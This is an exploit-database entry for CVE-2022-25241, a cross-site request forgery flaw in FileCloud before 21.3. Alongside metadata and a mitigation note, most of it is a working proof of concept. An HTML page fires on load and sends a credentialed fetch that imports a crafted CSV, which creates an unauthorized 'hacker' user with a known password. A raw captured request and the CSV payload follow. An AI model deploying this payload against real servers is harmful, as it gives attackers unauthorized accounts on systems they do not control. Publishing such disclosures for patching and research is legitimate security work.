FileCloud 21.2 - Cross-Site Request Forgery (CSRF)

vendor:

FileCloud

by:

Masashi Fujiwara

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: FileCloud

Affected Version From: All versions of FileCloud prior to 21.3

Affected Version To: 21.3

Patch Exists: YES

Related CWE: CVE-2022-25241

CPE: a:filecloud:filecloud

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 18.04.6 LTS (Docker)

2022

FileCloud 21.2 – Cross-Site Request Forgery (CSRF)

This exploit allows an attacker to perform Cross-Site Request Forgery (CSRF) attacks on FileCloud prior to version 21.3. By uploading a specially crafted CSV file, an attacker can create a user with arbitrary credentials and gain unauthorized access to the system.

Mitigation:

To mitigate this vulnerability, users should update to version 21.3 or later of FileCloud. Additionally, it is recommended to set the SameSite attribute of cookies to 'Strict' or 'Lax' instead of 'None' to prevent CSRF attacks.

Source

Exploit-DB raw data:

# Exploit Title: FileCloud 21.2 - Cross-Site Request Forgery (CSRF)
# Date: 2022-02-20
# Exploit Author: Masashi Fujiwara
# Vendor Homepage: https://www.filecloud.com/
# Software Link: https://hub.docker.com/r/filecloud/filecloudserver21.2
# Version: All versions of FileCloud prior to 21.3 (Fiexd: version 21.3.0.18447)
# Tested on:
#  OS: Ubuntu 18.04.6 LTS (Docker)
#  Apache: 2.4.52
#  FileCloud: 21.2.4.17315
# CVE: CVE-2022-25241 (https://www.filecloud.com/supportdocs/fcdoc/latest/server/security-advisories/advisory-2022-01-3-threat-of-csrf-via-user-creation)

# Conditions
1. Only vulnerable if cookies have samesite set to None (SameSite=None).
   echo 'define("TONIDOCLOUD_COOKIE_SAME_SITE_TYPE", "None");' >> /var/www/html/config/cloudconfig.php
2. Use https as target url (When cookies set SameSite=None, also set Secure).

# PoC (HTML)
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">

<script>
function init(){
  myFormData = new FormData();
  let fileContent = new Blob(["UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified\nhacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES\n"], {type: 'application/vnd.ms-excel'});
  myFormData.append("uploadFormElement", fileContent, "user.csv");
  fetch("https://192.168.159.129:8443/admin/?op=import&sendapprovalemail=0&sendpwdasplaintext=0", { method: "post", body: myFormData, credentials: "include"});
}
</script>
</head>
<body onload="init()">
CSRF PoC for CVE-2022-25241

Creat hacker user with Password1 via CSV file upload.
</body>
</html>



# HTTPS Request
POST /admin/?op=import&sendapprovalemail=0&sendpwdasplaintext=0 HTTP/1.1
Host: 192.168.159.129:8443
Cookie: X-XSRF-TOKEN-admin=rhedxvo0gullbvzkgwwv; X-XSRF-TOKEN=rhedxvo0gullbvzkgwwv; tonidocloud-au=admin; tonidocloud-as=29352577-cfaa-42e6-80e5-7a304bc78333; tonidocloud-ah=4514fb08f852d2682151efdb938d377734b1e493
Content-Length: 365
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAXsUsJ2ZV54DFuW
Connection: close

------WebKitFormBoundaryiAXsUsJ2ZV54DFuW
Content-Disposition: form-data; name="uploadFormElement"; filename="user.csv"
Content-Type: application/vnd.ms-excel

UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
hacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES

------WebKitFormBoundaryiAXsUsJ2ZV54DFuW--



# CSV file format
UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
hacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES